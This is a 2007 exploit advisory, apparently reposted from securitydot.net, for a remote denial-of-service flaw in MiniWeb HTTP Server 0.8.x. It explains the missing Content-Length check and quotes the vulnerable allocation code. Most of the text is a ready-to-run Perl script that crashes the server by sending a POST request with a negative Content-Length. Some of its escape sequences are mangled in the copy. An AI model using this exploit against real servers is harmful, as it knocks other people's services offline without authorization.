Rated as : High Risk
# MiniWeb Http Server 0.8.x Remote Denial of Service
# MiniWeb site http://sourceforge.net/projects/miniweb/
# Author: gbr
#
# Tested running the server under Windows XP SP2
#
# Description:
#
# The server doesn't do a sanity-check on 'Content-Length' value from POST
Header, allowing the attacker to control
# the allocation size and the position in the 'pucPayload' char pointer to
write.
# This could be used to trigger an exception.
#
#
# Vulnerable code - file http.c | lines 701-702 MiniWeb 0.8.1 | lines 704
- 705 MiniWeb 0.8.19
# ------------------------------------------
#
phsSocket->request.pucPayload=malloc(phsSocket->response.iContentLength+1);
#
phsSocket->request.pucPayload[phsSocket->response.iContentLength]=0;
# ------------------------------------------
#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket;
my $host = shift || die "usage: perl $0 host [port]n";
my $port = shift || 80;
my $sock = new IO::Socket::INET(PeerAddr => $host, PeerPort =>
$port, PeerProto => 'tcp')
or die "error: $!n";
$sock->send("POST / HTTP/1.1rn");
$sock->send("Content-Length: -10rnrn");
$sock->close;
print "Exploitedn";
securitydot.net - 2007-06-09
|
